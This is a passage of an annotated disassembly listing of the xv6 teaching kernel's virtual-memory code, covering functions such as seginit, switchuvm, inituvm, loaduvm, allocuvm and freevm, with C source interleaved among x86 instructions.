walkpgdir(pgdir, (char*)a, 0); 8010670f: 31 c9 xor %ecx,%ecx 80106711: 89 da mov %ebx,%edx 80106713: 89 f8 mov %edi,%eax 80106715: e8 86 fe ff ff call 801065a0 <walkpgdir> if(!pte) 8010671a: 85 c0 test %eax,%eax 8010671c: 75 ba jne 801066d8 <deallocuvm.part.0+0x28> a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; 8010671e: 81 e3 00 00 c0 ff and $0xffc00000,%ebx 80106724: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); for(; a < oldsz; a += PGSIZE){ 8010672a: 81 c3 00 10 00 00 add $0x1000,%ebx 80106730: 39 f3 cmp %esi,%ebx 80106732: 72 db jb 8010670f <deallocuvm.part.0+0x5f> kfree(v); *pte = 0; } } return newsz; } 80106734: 8b 45 e0 mov -0x20(%ebp),%eax 80106737: 8d 65 f4 lea -0xc(%ebp),%esp 8010673a: 5b pop %ebx 8010673b: 5e pop %esi 8010673c: 5f pop %edi 8010673d: 5d pop %ebp 8010673e: c3 ret if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ pa = PTE_ADDR(*pte); if(pa == 0) panic("kfree"); 8010673f: 83 ec 0c sub $0xc,%esp 80106742: 68 86 71 10 80 push $0x80107186 80106747: e8 24 9c ff ff call 80100370 <panic> 8010674c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106750 <seginit>: // Set up CPU's kernel segment descriptors. // Run once on entry on each CPU. void seginit(void) { 80106750: 55 push %ebp 80106751: 89 e5 mov %esp,%ebp 80106753: 83 ec 18 sub $0x18,%esp // Map "logical" addresses to virtual addresses using identity map. // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; 80106756: e8 05 d0 ff ff call 80103760 <cpuid> c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 8010675b: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax 80106761: 31 c9 xor %ecx,%ecx 80106763: ba ff ff ff ff mov $0xffffffff,%edx 80106768: 66 89 90 18 28 11 80 mov %dx,-0x7feed7e8(%eax) 8010676f: 66 89 88 1a 28 11 80 mov %cx,-0x7feed7e6(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106776: ba ff ff ff ff mov $0xffffffff,%edx 8010677b: 31 c9 xor %ecx,%ecx 8010677d: 66 89 90 20 28 11 80 mov %dx,-0x7feed7e0(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106784: ba ff ff ff ff mov $0xffffffff,%edx // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106789: 66 89 88 22 28 11 80 mov %cx,-0x7feed7de(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106790: 31 c9 xor %ecx,%ecx 80106792: 66 89 90 28 28 11 80 mov %dx,-0x7feed7d8(%eax) 80106799: 66 89 88 2a 28 11 80 mov %cx,-0x7feed7d6(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 801067a0: ba ff ff ff ff mov $0xffffffff,%edx 801067a5: 31 c9 xor %ecx,%ecx 801067a7: 66 89 90 30 28 11 80 mov %dx,-0x7feed7d0(%eax) // Map "logical" addresses to virtual addresses using identity map. // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801067ae: c6 80 1c 28 11 80 00 movb $0x0,-0x7feed7e4(%eax) static inline void lgdt(struct segdesc *p, int size) { volatile ushort pd[3]; pd[0] = size-1; 801067b5: ba 2f 00 00 00 mov $0x2f,%edx 801067ba: c6 80 1d 28 11 80 9a movb $0x9a,-0x7feed7e3(%eax) 801067c1: c6 80 1e 28 11 80 cf movb $0xcf,-0x7feed7e2(%eax) 801067c8: c6 80 1f 28 11 80 00 movb $0x0,-0x7feed7e1(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801067cf: c6 80 24 28 11 80 00 movb $0x0,-0x7feed7dc(%eax) 801067d6: c6 80 25 28 11 80 92 movb $0x92,-0x7feed7db(%eax) 801067dd: c6 80 26 28 11 80 cf movb $0xcf,-0x7feed7da(%eax) 801067e4: c6 80 27 28 11 80 00 movb $0x0,-0x7feed7d9(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 801067eb: c6 80 2c 28 11 80 00 movb $0x0,-0x7feed7d4(%eax) 801067f2: c6 80 2d 28 11 80 fa movb $0xfa,-0x7feed7d3(%eax) 801067f9: c6 80 2e 28 11 80 cf movb $0xcf,-0x7feed7d2(%eax) 80106800: c6 80 2f 28 11 80 00 movb $0x0,-0x7feed7d1(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 80106807: 66 89 88 32 28 11 80 mov %cx,-0x7feed7ce(%eax) 8010680e: c6 80 34 28 11 80 00 movb $0x0,-0x7feed7cc(%eax) 80106815: c6 80 35 28 11 80 f2 movb $0xf2,-0x7feed7cb(%eax) 8010681c: c6 80 36 28 11 80 cf movb $0xcf,-0x7feed7ca(%eax) 80106823: c6 80 37 28 11 80 00 movb $0x0,-0x7feed7c9(%eax) lgdt(c->gdt, sizeof(c->gdt)); 8010682a: 05 10 28 11 80 add $0x80112810,%eax 8010682f: 66 89 55 f2 mov %dx,-0xe(%ebp) pd[1] = (uint)p; 80106833: 66 89 45 f4 mov %ax,-0xc(%ebp) pd[2] = (uint)p >> 16; 80106837: c1 e8 10 shr $0x10,%eax 8010683a: 66 89 45 f6 mov %ax,-0xa(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 8010683e: 8d 45 f2 lea -0xe(%ebp),%eax 80106841: 0f 01 10 lgdtl (%eax) } 80106844: c9 leave 80106845: c3 ret 80106846: 8d 76 00 lea 0x0(%esi),%esi 80106849: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106850 <switchkvm>: } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 80106850: a1 c4 54 11 80 mov 0x801154c4,%eax // Switch h/w page table register to the kernel-only page table, // for when no process is running. void switchkvm(void) { 80106855: 55 push %ebp 80106856: 89 e5 mov %esp,%ebp 80106858: 05 00 00 00 80 add $0x80000000,%eax 8010685d: 0f 22 d8 mov %eax,%cr3 lcr3(V2P(kpgdir)); // switch to the kernel page table } 80106860: 5d pop %ebp 80106861: c3 ret 80106862: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106870 <switchuvm>: // Switch TSS and h/w page table to correspond to process p. void switchuvm(struct proc *p) { 80106870: 55 push %ebp 80106871: 89 e5 mov %esp,%ebp 80106873: 57 push %edi 80106874: 56 push %esi 80106875: 53 push %ebx 80106876: 83 ec 1c sub $0x1c,%esp 80106879: 8b 75 08 mov 0x8(%ebp),%esi if(p == 0) 8010687c: 85 f6 test %esi,%esi 8010687e: 0f 84 cd 00 00 00 je 80106951 <switchuvm+0xe1> panic("switchuvm: no process"); if(p->kstack == 0) 80106884: 8b 46 08 mov 0x8(%esi),%eax 80106887: 85 c0 test %eax,%eax 80106889: 0f 84 dc 00 00 00 je 8010696b <switchuvm+0xfb> panic("switchuvm: no kstack"); if(p->pgdir == 0) 8010688f: 8b 7e 04 mov 0x4(%esi),%edi 80106892: 85 ff test %edi,%edi 80106894: 0f 84 c4 00 00 00 je 8010695e <switchuvm+0xee> panic("switchuvm: no pgdir"); pushcli(); 8010689a: e8 c1 d9 ff ff call 80104260 <pushcli> mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 8010689f: e8 3c ce ff ff call 801036e0 <mycpu> 801068a4: 89 c3 mov %eax,%ebx 801068a6: e8 35 ce ff ff call 801036e0 <mycpu> 801068ab: 89 c7 mov %eax,%edi 801068ad: e8 2e ce ff ff call 801036e0 <mycpu> 801068b2: 89 45 e4 mov %eax,-0x1c(%ebp) 801068b5: 83 c7 08 add $0x8,%edi 801068b8: e8 23 ce ff ff call 801036e0 <mycpu> 801068bd: 8b 4d e4 mov -0x1c(%ebp),%ecx 801068c0: 83 c0 08 add $0x8,%eax 801068c3: ba 67 00 00 00 mov $0x67,%edx 801068c8: c1 e8 18 shr $0x18,%eax 801068cb: 66 89 93 98 00 00 00 mov %dx,0x98(%ebx) 801068d2: 66 89 bb 9a 00 00 00 mov %di,0x9a(%ebx) 801068d9: c6 83 9d 00 00 00 99 movb $0x99,0x9d(%ebx) 801068e0: c6 83 9e 00 00 00 40 movb $0x40,0x9e(%ebx) 801068e7: 83 c1 08 add $0x8,%ecx 801068ea: 88 83 9f 00 00 00 mov %al,0x9f(%ebx) 801068f0: c1 e9 10 shr $0x10,%ecx 801068f3: 88 8b 9c 00 00 00 mov %cl,0x9c(%ebx) mycpu()->gdt[SEG_TSS].s = 0; mycpu()->ts.ss0 = SEG_KDATA << 3; mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; // setting IOPL=0 in eflags *and* iomb beyond the tss segment limit // forbids I/O instructions (e.g., inb and outb) from user space mycpu()->ts.iomb = (ushort) 0xFFFF; 801068f9: bb ff ff ff ff mov $0xffffffff,%ebx panic("switchuvm: no pgdir"); pushcli(); mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, sizeof(mycpu()->ts)-1, 0); mycpu()->gdt[SEG_TSS].s = 0; 801068fe: e8 dd cd ff ff call 801036e0 <mycpu> 80106903: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax) mycpu()->ts.ss0 = SEG_KDATA << 3; 8010690a: e8 d1 cd ff ff call 801036e0 <mycpu> 8010690f: b9 10 00 00 00 mov $0x10,%ecx 80106914: 66 89 48 10 mov %cx,0x10(%eax) mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; 80106918: e8 c3 cd ff ff call 801036e0 <mycpu> 8010691d: 8b 56 08 mov 0x8(%esi),%edx 80106920: 8d 8a 00 10 00 00 lea 0x1000(%edx),%ecx 80106926: 89 48 0c mov %ecx,0xc(%eax) // setting IOPL=0 in eflags *and* iomb beyond the tss segment limit // forbids I/O instructions (e.g., inb and outb) from user space mycpu()->ts.iomb = (ushort) 0xFFFF; 80106929: e8 b2 cd ff ff call 801036e0 <mycpu> 8010692e: 66 89 58 6e mov %bx,0x6e(%eax) } static inline void ltr(ushort sel) { asm volatile("ltr %0" : : "r" (sel)); 80106932: b8 28 00 00 00 mov $0x28,%eax 80106937: 0f 00 d8 ltr %ax } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 8010693a: 8b 46 04 mov 0x4(%esi),%eax 8010693d: 05 00 00 00 80 add $0x80000000,%eax 80106942: 0f 22 d8 mov %eax,%cr3 ltr(SEG_TSS << 3); lcr3(V2P(p->pgdir)); // switch to process's address space popcli(); } 80106945: 8d 65 f4 lea -0xc(%ebp),%esp 80106948: 5b pop %ebx 80106949: 5e pop %esi 8010694a: 5f pop %edi 8010694b: 5d pop %ebp // setting IOPL=0 in eflags *and* iomb beyond the tss segment limit // forbids I/O instructions (e.g., inb and outb) from user space mycpu()->ts.iomb = (ushort) 0xFFFF; ltr(SEG_TSS << 3); lcr3(V2P(p->pgdir)); // switch to process's address space popcli(); 8010694c: e9 4f d9 ff ff jmp 801042a0 <popcli> // Switch TSS and h/w page table to correspond to process p. void switchuvm(struct proc *p) { if(p == 0) panic("switchuvm: no process"); 80106951: 83 ec 0c sub $0xc,%esp 80106954: 68 12 78 10 80 push $0x80107812 80106959: e8 12 9a ff ff call 80100370 <panic> if(p->kstack == 0) panic("switchuvm: no kstack"); if(p->pgdir == 0) panic("switchuvm: no pgdir"); 8010695e: 83 ec 0c sub $0xc,%esp 80106961: 68 3d 78 10 80 push $0x8010783d 80106966: e8 05 9a ff ff call 80100370 <panic> switchuvm(struct proc *p) { if(p == 0) panic("switchuvm: no process"); if(p->kstack == 0) panic("switchuvm: no kstack"); 8010696b: 83 ec 0c sub $0xc,%esp 8010696e: 68 28 78 10 80 push $0x80107828 80106973: e8 f8 99 ff ff call 80100370 <panic> 80106978: 90 nop 80106979: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106980 <inituvm>: // Load the initcode into address 0 of pgdir. // sz must be less than a page. void inituvm(pde_t *pgdir, char *init, uint sz) { 80106980: 55 push %ebp 80106981: 89 e5 mov %esp,%ebp 80106983: 57 push %edi 80106984: 56 push %esi 80106985: 53 push %ebx 80106986: 83 ec 1c sub $0x1c,%esp 80106989: 8b 75 10 mov 0x10(%ebp),%esi 8010698c: 8b 45 08 mov 0x8(%ebp),%eax 8010698f: 8b 7d 0c mov 0xc(%ebp),%edi char *mem; if(sz >= PGSIZE) 80106992: 81 fe ff 0f 00 00 cmp $0xfff,%esi // Load the initcode into address 0 of pgdir. // sz must be less than a page. void inituvm(pde_t *pgdir, char *init, uint sz) { 80106998: 89 45 e4 mov %eax,-0x1c(%ebp) char *mem; if(sz >= PGSIZE) 8010699b: 77 49 ja 801069e6 <inituvm+0x66> panic("inituvm: more than a page"); mem = kalloc(); 8010699d: e8 ee ba ff ff call 80102490 <kalloc> memset(mem, 0, PGSIZE); 801069a2: 83 ec 04 sub $0x4,%esp { char *mem; if(sz >= PGSIZE) panic("inituvm: more than a page"); mem = kalloc(); 801069a5: 89 c3 mov %eax,%ebx memset(mem, 0, PGSIZE); 801069a7: 68 00 10 00 00 push $0x1000 801069ac: 6a 00 push $0x0 801069ae: 50 push %eax 801069af: e8 8c da ff ff call 80104440 <memset> mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); 801069b4: 58 pop %eax 801069b5: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 801069bb: b9 00 10 00 00 mov $0x1000,%ecx 801069c0: 5a pop %edx 801069c1: 6a 06 push $0x6 801069c3: 50 push %eax 801069c4: 31 d2 xor %edx,%edx 801069c6: 8b 45 e4 mov -0x1c(%ebp),%eax 801069c9: e8 52 fc ff ff call 80106620 <mappages> memmove(mem, init, sz); 801069ce: 89 75 10 mov %esi,0x10(%ebp) 801069d1: 89 7d 0c mov %edi,0xc(%ebp) 801069d4: 83 c4 10 add $0x10,%esp 801069d7: 89 5d 08 mov %ebx,0x8(%ebp) } 801069da: 8d 65 f4 lea -0xc(%ebp),%esp 801069dd: 5b pop %ebx 801069de: 5e pop %esi 801069df: 5f pop %edi 801069e0: 5d pop %ebp if(sz >= PGSIZE) panic("inituvm: more than a page"); mem = kalloc(); memset(mem, 0, PGSIZE); mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); memmove(mem, init, sz); 801069e1: e9 0a db ff ff jmp 801044f0 <memmove> inituvm(pde_t *pgdir, char *init, uint sz) { char *mem; if(sz >= PGSIZE) panic("inituvm: more than a page"); 801069e6: 83 ec 0c sub $0xc,%esp 801069e9: 68 51 78 10 80 push $0x80107851 801069ee: e8 7d 99 ff ff call 80100370 <panic> 801069f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801069f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106a00 <loaduvm>: // Load a program segment into pgdir. addr must be page-aligned // and the pages from addr to addr+sz must already be mapped. int loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz) { 80106a00: 55 push %ebp 80106a01: 89 e5 mov %esp,%ebp 80106a03: 57 push %edi 80106a04: 56 push %esi 80106a05: 53 push %ebx 80106a06: 83 ec 0c sub $0xc,%esp uint i, pa, n; pte_t *pte; if((uint) addr % PGSIZE != 0) 80106a09: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp) 80106a10: 0f 85 91 00 00 00 jne 80106aa7 <loaduvm+0xa7> panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ 80106a16: 8b 75 18 mov 0x18(%ebp),%esi 80106a19: 31 db xor %ebx,%ebx 80106a1b: 85 f6 test %esi,%esi 80106a1d: 75 1a jne 80106a39 <loaduvm+0x39> 80106a1f: eb 6f jmp 80106a90 <loaduvm+0x90> 80106a21: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106a28: 81 c3 00 10 00 00 add $0x1000,%ebx 80106a2e: 81 ee 00 10 00 00 sub $0x1000,%esi 80106a34: 39 5d 18 cmp %ebx,0x18(%ebp) 80106a37: 76 57 jbe 80106a90 <loaduvm+0x90> if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 80106a39: 8b 55 0c mov 0xc(%ebp),%edx 80106a3c: 8b 45 08 mov 0x8(%ebp),%eax 80106a3f: 31 c9 xor %ecx,%ecx 80106a41: 01 da add %ebx,%edx 80106a43: e8 58 fb ff ff call 801065a0 <walkpgdir> 80106a48: 85 c0 test %eax,%eax 80106a4a: 74 4e je 80106a9a <loaduvm+0x9a> panic("loaduvm: address should exist"); pa = PTE_ADDR(*pte); 80106a4c: 8b 00 mov (%eax),%eax if(sz - i < PGSIZE) n = sz - i; else n = PGSIZE; if(readi(ip, P2V(pa), offset+i, n) != n) 80106a4e: 8b 4d 14 mov 0x14(%ebp),%ecx panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) panic("loaduvm: address should exist"); pa = PTE_ADDR(*pte); if(sz - i < PGSIZE) 80106a51: bf 00 10 00 00 mov $0x1000,%edi if((uint) addr % PGSIZE != 0) panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) panic("loaduvm: address should exist"); pa = PTE_ADDR(*pte); 80106a56: 25 00 f0 ff ff and $0xfffff000,%eax if(sz - i < PGSIZE) 80106a5b: 81 fe ff 0f 00 00 cmp $0xfff,%esi 80106a61: 0f 46 fe cmovbe %esi,%edi n = sz - i; else n = PGSIZE; if(readi(ip, P2V(pa), offset+i, n) != n) 80106a64: 01 d9 add %ebx,%ecx 80106a66: 05 00 00 00 80 add $0x80000000,%eax 80106a6b: 57 push %edi 80106a6c: 51 push %ecx 80106a6d: 50 push %eax 80106a6e: ff 75 10 pushl 0x10(%ebp) 80106a71: e8 da ae ff ff call 80101950 <readi> 80106a76: 83 c4 10 add $0x10,%esp 80106a79: 39 c7 cmp %eax,%edi 80106a7b: 74 ab je 80106a28 <loaduvm+0x28> return -1; } return 0; } 80106a7d: 8d 65 f4 lea -0xc(%ebp),%esp if(sz - i < PGSIZE) n = sz - i; else n = PGSIZE; if(readi(ip, P2V(pa), offset+i, n) != n) return -1; 80106a80: b8 ff ff ff ff mov $0xffffffff,%eax } return 0; } 80106a85: 5b pop %ebx 80106a86: 5e pop %esi 80106a87: 5f pop %edi 80106a88: 5d pop %ebp 80106a89: c3 ret 80106a8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106a90: 8d 65 f4 lea -0xc(%ebp),%esp else n = PGSIZE; if(readi(ip, P2V(pa), offset+i, n) != n) return -1; } return 0; 80106a93: 31 c0 xor %eax,%eax } 80106a95: 5b pop %ebx 80106a96: 5e pop %esi 80106a97: 5f pop %edi 80106a98: 5d pop %ebp 80106a99: c3 ret if((uint) addr % PGSIZE != 0) panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) panic("loaduvm: address should exist"); 80106a9a: 83 ec 0c sub $0xc,%esp 80106a9d: 68 6b 78 10 80 push $0x8010786b 80106aa2: e8 c9 98 ff ff call 80100370 <panic> { uint i, pa, n; pte_t *pte; if((uint) addr % PGSIZE != 0) panic("loaduvm: addr must be page aligned"); 80106aa7: 83 ec 0c sub $0xc,%esp 80106aaa: 68 0c 79 10 80 push $0x8010790c 80106aaf: e8 bc 98 ff ff call 80100370 <panic> 80106ab4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106aba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106ac0 <allocuvm>: // Allocate page tables and physical memory to grow process from oldsz to // newsz, which need not be page aligned. Returns new size or 0 on error. int allocuvm(pde_t *pgdir, uint oldsz, uint newsz) { 80106ac0: 55 push %ebp 80106ac1: 89 e5 mov %esp,%ebp 80106ac3: 57 push %edi 80106ac4: 56 push %esi 80106ac5: 53 push %ebx 80106ac6: 83 ec 0c sub $0xc,%esp 80106ac9: 8b 7d 10 mov 0x10(%ebp),%edi char *mem; uint a; if(newsz >= KERNBASE) 80106acc: 85 ff test %edi,%edi 80106ace: 0f 88 ca 00 00 00 js 80106b9e <allocuvm+0xde> return 0; if(newsz < oldsz) 80106ad4: 3b 7d 0c cmp 0xc(%ebp),%edi return oldsz; 80106ad7: 8b 45 0c mov 0xc(%ebp),%eax char *mem; uint a; if(newsz >= KERNBASE) return 0; if(newsz < oldsz) 80106ada: 0f 82 82 00 00 00 jb 80106b62 <allocuvm+0xa2> return oldsz; a = PGROUNDUP(oldsz); 80106ae0: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80106ae6: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < newsz; a += PGSIZE){ 80106aec: 39 df cmp %ebx,%edi 80106aee: 77 43 ja 80106b33 <allocuvm+0x73> 80106af0: e9 bb 00 00 00 jmp 80106bb0 <allocuvm+0xf0> 80106af5: 8d 76 00 lea 0x0(%esi),%esi if(mem == 0){ cprintf("allocuvm out of memory\n"); deallocuvm(pgdir, newsz, oldsz); return 0; } memset(mem, 0, PGSIZE); 80106af8: 83 ec 04 sub $0x4,%esp 80106afb: 68 00 10 00 00 push $0x1000 80106b00: 6a 00 push $0x0 80106b02: 50 push %eax 80106b03: e8 38 d9 ff ff call 80104440 <memset> if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ 80106b08: 58 pop %eax 80106b09: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 80106b0f: b9 00 10 00 00 mov $0x1000,%ecx 80106b14: 5a pop %edx 80106b15: 6a 06 push $0x6 80106b17: 50 push %eax 80106b18: 89 da mov %ebx,%edx 80106b1a: 8b 45 08 mov 0x8(%ebp),%eax 80106b1d: e8 fe fa ff ff call 80106620 <mappages> 80106b22: 83 c4 10 add $0x10,%esp 80106b25: 85 c0 test %eax,%eax 80106b27: 78 47 js 80106b70 <allocuvm+0xb0> return 0; if(newsz < oldsz) return oldsz; a = PGROUNDUP(oldsz); for(; a < newsz; a += PGSIZE){ 80106b29: 81 c3 00 10 00 00 add $0x1000,%ebx 80106b2f: 39 df cmp %ebx,%edi 80106b31: 76 7d jbe 80106bb0 <allocuvm+0xf0> mem = kalloc(); 80106b33: e8 58 b9 ff ff call 80102490 <kalloc> if(mem == 0){ 80106b38: 85 c0 test %eax,%eax if(newsz < oldsz) return oldsz; a = PGROUNDUP(oldsz); for(; a < newsz; a += PGSIZE){ mem = kalloc(); 80106b3a: 89 c6 mov %eax,%esi if(mem == 0){ 80106b3c: 75 ba jne 80106af8 <allocuvm+0x38> cprintf("allocuvm out of memory\n"); 80106b3e: 83 ec 0c sub $0xc,%esp 80106b41: 68 89 78 10 80 push $0x80107889 80106b46: e8 15 9b ff ff call 80100660 <cprintf> deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) { pte_t *pte; uint a, pa; if(newsz >= oldsz) 80106b4b: 83 c4 10 add $0x10,%esp 80106b4e: 3b 7d 0c cmp 0xc(%ebp),%edi 80106b51: 76 4b jbe 80106b9e <allocuvm+0xde> 80106b53: 8b 4d 0c mov 0xc(%ebp),%ecx 80106b56: 8b 45 08 mov 0x8(%ebp),%eax 80106b59: 89 fa mov %edi,%edx 80106b5b: e8 50 fb ff ff call 801066b0 <deallocuvm.part.0> for(; a < newsz; a += PGSIZE){ mem = kalloc(); if(mem == 0){ cprintf("allocuvm out of memory\n"); deallocuvm(pgdir, newsz, oldsz); return 0; 80106b60: 31 c0 xor %eax,%eax kfree(mem); return 0; } } return newsz; } 80106b62: 8d 65 f4 lea -0xc(%ebp),%esp 80106b65: 5b pop %ebx 80106b66: 5e pop %esi 80106b67: 5f pop %edi 80106b68: 5d pop %ebp 80106b69: c3 ret 80106b6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi deallocuvm(pgdir, newsz, oldsz); return 0; } memset(mem, 0, PGSIZE); if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ cprintf("allocuvm out of memory (2)\n"); 80106b70: 83 ec 0c sub $0xc,%esp 80106b73: 68 a1 78 10 80 push $0x801078a1 80106b78: e8 e3 9a ff ff call 80100660 <cprintf> deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) { pte_t *pte; uint a, pa; if(newsz >= oldsz) 80106b7d: 83 c4 10 add $0x10,%esp 80106b80: 3b 7d 0c cmp 0xc(%ebp),%edi 80106b83: 76 0d jbe 80106b92 <allocuvm+0xd2> 80106b85: 8b 4d 0c mov 0xc(%ebp),%ecx 80106b88: 8b 45 08 mov 0x8(%ebp),%eax 80106b8b: 89 fa mov %edi,%edx 80106b8d: e8 1e fb ff ff call 801066b0 <deallocuvm.part.0> } memset(mem, 0, PGSIZE); if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ cprintf("allocuvm out of memory (2)\n"); deallocuvm(pgdir, newsz, oldsz); kfree(mem); 80106b92: 83 ec 0c sub $0xc,%esp 80106b95: 56 push %esi 80106b96: e8 45 b7 ff ff call 801022e0 <kfree> return 0; 80106b9b: 83 c4 10 add $0x10,%esp } } return newsz; } 80106b9e: 8d 65 f4 lea -0xc(%ebp),%esp memset(mem, 0, PGSIZE); if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ cprintf("allocuvm out of memory (2)\n"); deallocuvm(pgdir, newsz, oldsz); kfree(mem); return 0; 80106ba1: 31 c0 xor %eax,%eax } } return newsz; } 80106ba3: 5b pop %ebx 80106ba4: 5e pop %esi 80106ba5: 5f pop %edi 80106ba6: 5d pop %ebp 80106ba7: c3 ret 80106ba8: 90 nop 80106ba9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106bb0: 8d 65 f4 lea -0xc(%ebp),%esp return 0; if(newsz < oldsz) return oldsz; a = PGROUNDUP(oldsz); for(; a < newsz; a += PGSIZE){ 80106bb3: 89 f8 mov %edi,%eax kfree(mem); return 0; } } return newsz; } 80106bb5: 5b pop %ebx 80106bb6: 5e pop %esi 80106bb7: 5f pop %edi 80106bb8: 5d pop %ebp 80106bb9: c3 ret 80106bba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106bc0 <deallocuvm>: // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) { 80106bc0: 55 push %ebp 80106bc1: 89 e5 mov %esp,%ebp 80106bc3: 8b 55 0c mov 0xc(%ebp),%edx 80106bc6: 8b 4d 10 mov 0x10(%ebp),%ecx 80106bc9: 8b 45 08 mov 0x8(%ebp),%eax pte_t *pte; uint a, pa; if(newsz >= oldsz) 80106bcc: 39 d1 cmp %edx,%ecx 80106bce: 73 10 jae 80106be0 <deallocuvm+0x20> kfree(v); *pte = 0; } } return newsz; } 80106bd0: 5d pop %ebp 80106bd1: e9 da fa ff ff jmp 801066b0 <deallocuvm.part.0> 80106bd6: 8d 76 00 lea 0x0(%esi),%esi 80106bd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106be0: 89 d0 mov %edx,%eax 80106be2: 5d pop %ebp 80106be3: c3 ret 80106be4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106bea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106bf0 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 80106bf0: 55 push %ebp 80106bf1: 89 e5 mov %esp,%ebp 80106bf3: 57 push %edi 80106bf4: 56 push %esi 80106bf5: 53 push %ebx 80106bf6: 83 ec 0c sub $0xc,%esp 80106bf9: 8b 75 08 mov 0x8(%ebp),%esi uint i; if(pgdir == 0) 80106bfc: 85 f6 test %esi,%esi 80106bfe: 74 59 je 80106c59 <freevm+0x69> 80106c00: 31 c9 xor %ecx,%ecx 80106c02: ba 00 00 00 80 mov $0x80000000,%edx 80106c07: 89 f0 mov %esi,%eax 80106c09: e8 a2 fa ff ff call 801066b0 <deallocuvm.part.0> 80106c0e: 89 f3 mov %esi,%ebx 80106c10: 8d be 00 10 00 00 lea 0x1000(%esi),%edi 80106c16: eb 0f jmp 80106c27 <freevm+0x37> 80106c18: 90 nop 80106c19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106c20: 83 c3 04 add $0x4,%ebx panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80106c23: 39 fb cmp 